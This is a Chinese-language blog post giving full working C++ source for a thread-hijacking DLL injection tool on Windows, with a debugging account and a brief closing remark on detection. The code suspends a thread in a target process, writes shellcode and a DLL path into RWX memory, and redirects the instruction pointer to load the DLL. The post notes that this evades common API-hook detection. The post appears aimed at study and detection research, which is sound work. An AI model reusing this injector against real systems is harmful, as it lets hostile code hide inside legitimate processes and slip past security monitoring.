线程劫持-进程注入C++示例和检测思考

发布时间 2023-09-19 12:18:52作者: bonelee

线程劫持:运行方法

C:\Users\l00379637\source\repos\thread_hijack\x64\Release\thread_hijack.exe 18132 C:\Users\l00379637\source\repos\injected_dll\x64\Release\injected_dll.dll
Process ID: 18132
Injected!

  

劫持效果:

 

劫持代码如下:

#include <iostream>
#include <Windows.h>
#include <TlHelp32.h>
#include <system_error>


constexpr SIZE_T PAGE_SIZE = 1 << 12;


/// <summary>
/// Print the human-readable error message cause while execution of the function and exit if TRUE
/// </summary>
/// <param name="lpFunction">Function name caused error</param>
/// <param name="bExit">Whether to exit after printing error or not (TRUE/FALSE)</param>
VOID PrintError(LPCSTR lpFunction, BOOL bExit = FALSE) {
	DWORD dwErrorCode = GetLastError();

	std::cout << "[" << dwErrorCode << "] " << lpFunction << ": ";
	if (dwErrorCode == 0x0) {
		std::cout << "Undefined error\n";
	}
	else {
		std::cout << "error code:" << dwErrorCode << std::endl;
	}

	if (bExit) {
		ExitProcess(1);
	}
}

HANDLE GetFirstThead(DWORD dwPID) {
	HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0x0);
	HANDLE hThread = NULL;

	THREADENTRY32 te{};
	te.dwSize = sizeof(THREADENTRY32);

	if (!Thread32First(hSnap, &te)) {
		CloseHandle(hSnap);
		return hThread;
	}

	do {
		if (te.th32OwnerProcessID == dwPID) {
			// SET_CONTEXT is used to change the values of the registers
			// GET_CONTEXT is used to retrieve the initial values of the registers
			// SUSPEND and RESUME are required because instruction pointer can not be changed for running thread
			hThread = OpenThread(THREAD_SET_CONTEXT | THREAD_GET_CONTEXT | THREAD_SUSPEND_RESUME, FALSE, te.th32ThreadID);
			if (hThread != NULL) {
				break;
			}
		}
	} while (Thread32Next(hSnap, &te));

	CloseHandle(hSnap);
	return hThread;
}


BOOL DoInjection(HANDLE hProcess, HANDLE hThread, LPCSTR lpDllPath) {
#ifdef _WIN64
	BYTE code[] = {
		// sub rsp, 28h
		0x48, 0x83, 0xec, 0x28,
		// mov [rsp + 18], rax
		0x48, 0x89, 0x44, 0x24, 0x18,
		// mov [rsp + 10h], rcx
		0x48, 0x89, 0x4c, 0x24, 0x10,
		// mov rcx, 11111111111111111h
		0x48, 0xb9, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11, 0x11,
		// mov rax, 22222222222222222h
		0x48, 0xb8, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22, 0x22,
		// call rax
		0xff, 0xd0,
		// mov rcx, [rsp + 10h]
		0x48, 0x8b, 0x4c, 0x24, 0x10,
		// mov rax, [rsp + 18h]
		0x48, 0x8b, 0x44, 0x24, 0x18,
		// add rsp, 28h
		0x48, 0x83, 0xc4, 0x28,
		// mov r11, 333333333333333333h
		0x49, 0xbb, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33, 0x33,
		// jmp r11
		0x41, 0xff, 0xe3
	};
#else
	BYTE code[] = {
			0x60,
			0x68, 0x11, 0x11, 0x11, 0x11,
			0xb8, 0x22, 0x22, 0x22, 0x22,
			0xff, 0xd0,
			0x61,
			0x68, 0x33, 0x33, 0x33, 0x33,
			0xc3
	};
#endif
	if (SuspendThread(hThread) == -1) {
		return FALSE;
	}

	LPVOID lpBuffer = VirtualAllocEx(
		hProcess,
		nullptr,
		PAGE_SIZE,
		MEM_RESERVE | MEM_COMMIT,
		PAGE_EXECUTE_READWRITE
	);
	if (lpBuffer == nullptr) {
		ResumeThread(hThread);
		return FALSE;
	}

	CONTEXT ctx{};
	ctx.ContextFlags = CONTEXT_ALL;

	if (!GetThreadContext(hThread, &ctx)) {
		ResumeThread(hThread);
		return FALSE;
	}

	HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
	if (hKernel32 == NULL) {
		ResumeThread(hThread);
		return FALSE;
	}

	LPVOID lpLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");
	if (lpLoadLibraryA == NULL) {
		ResumeThread(hThread);
		return FALSE;
	}

#ifdef _WIN64
	* (LPVOID*)(code + 0x10) = (LPVOID)((CHAR*)lpBuffer + (PAGE_SIZE / 2));
	*(LPVOID*)(code + 0x1a) = lpLoadLibraryA;
	*(PLONGLONG)(code + 0x34) = ctx.Rip;
#else
	* (LPVOID*)(code + 2) = (LPVOID)((CHAR*)lpBuffer + (PAGE_SIZE / 2));
	*(LPVOID*)(code + 7) = lpLoadLibraryA;
	*(PUINT)(code + 0xf) = ctx.Eip;
#endif

	if (!WriteProcessMemory(
		hProcess,
		lpBuffer,
		code,
		sizeof(code),
		nullptr
	)) {
		ResumeThread(hThread);
		return FALSE;
	}

	if (!WriteProcessMemory(
		hProcess,
		(CHAR*)lpBuffer + (PAGE_SIZE / 2),
		lpDllPath,
		strlen(lpDllPath),
		nullptr
	)) {
		ResumeThread(hThread);
		return FALSE;
	}

#ifdef _WIN64
	ctx.Rip = (ULONGLONG)lpBuffer;
#else
	ctx.Eip = (DWORD)lpBuffer;
#endif

	if (!SetThreadContext(hThread, &ctx)) {
		ResumeThread(hThread);
		return FALSE;
	}

	ResumeThread(hThread);
	return TRUE;
}

INT main(INT argc, CHAR** argv) {
	// C:\Users\l00379637\source\repos\thread_hijack\x64\Release\thread_hijack.exe pid C:\Users\l00379637\source\repos\injected_dll\x64\Release\injected_dll.dll
	
	if (argc < 3) {
		std::cerr << "usage: " << argv[0] << " PID DLL_PATH\n";
		return 0x1;
	}

	std::cout << "Process ID: " << argv[1] << std::endl;
	DWORD dwPID = atoi(argv[1]);
	CHAR wzDllFullPath[MAX_PATH] = { 0 };
	strcpy_s(wzDllFullPath, argv[2]);

	/*
	DWORD dwPID = 11740;
	CHAR wzDllFullPath[MAX_PATH] = "C:\\Users\\l00379637\\source\\repos\\injected_dll\\x64\\Release\\injected_dll.dll";// "C:\\Users\\l00379637\\source\\repos\\test_dll\\Release\\test_dll.dll";
	*/


	HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwPID);
	if (hProcess == nullptr) {
		PrintError("OpenProcess()", TRUE);
	}

	HANDLE hThread = GetFirstThead(dwPID);
	if (hThread == NULL) {
		PrintError("GetFirstThead()", TRUE);
	}

	// wzDllFullPath = argv[2];
	if (!DoInjection(hProcess, hThread, wzDllFullPath)) {
		PrintError("DoInjection()", TRUE);
	}

	std::cout << "Injected!\n";

	return 0x0;
}

  

 

DLL代码参考:https://www.cnblogs.com/bonelee/p/17705390.html

 

为了了解原理,我自己debug了下,因为dll路径不正确,导致劫持无效果,因此有了下面的调试过程:

先是被劫持后的exe内存情况,可以看到执行“劫持”代码的内存分配,其中1和2是关键!

对应下面shellcode:

 

2是程序劫持完以后要返回源程序!所以要修改rip:

 

 

但是代码执行完,

 

却没有实现真正的劫持效果:

 

 

 

不用记事本,我们单独写一个程序调试下:

写一个sleep程序,然后断点:

 

 

可以看到在没有运行resume thread前,sleep的程序果然挂住了!如上图所示。并且劫持的程序结束以后,sleep程序会继续正常向前运行。

 

为了找到问题所在:设置一个断点,然后执行完resume thread看看:

 还是成功断住了!

跟进去调用dll的地方

 

可以看到确实是调用了该dll!但是为什么没有弹出messagebox呢?

并且动态加载的模块里也没有该dll:

怀疑是我的路径字符串出错。实际运行发现并没有问题:如下

 

 

我++,SB了,原来是我自己的DLL路径不对!!!更换正确的DLL路径即可实现劫持效果!

如下:

 附下:

sleep调试进程代码:

// sleephere.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
#include <windows.h>
#include <synchapi.h>
#include <iostream>

int main()
{
    std::cout << "Hello World!\n";
	DWORD pid = GetCurrentProcessId();
	std::cout << "当前进程的PID是: " << pid << std::endl;
	int i = 0;
	while (1) {
		SleepEx(3000, true);
		std::cout << "You are done? " << i;
		i += 1;
	}
	std::cout << "Exit!\n";
}

  

检测:

可以看到是直接修改进程上下文,GetThreadContext、修改rip以后,然后SetThreadContext再resumethread,让其执行注入的shellcode!

所以这种劫持情况,上述几个os api的hook性价比有点低。检测起来也比较隐蔽。GG!!!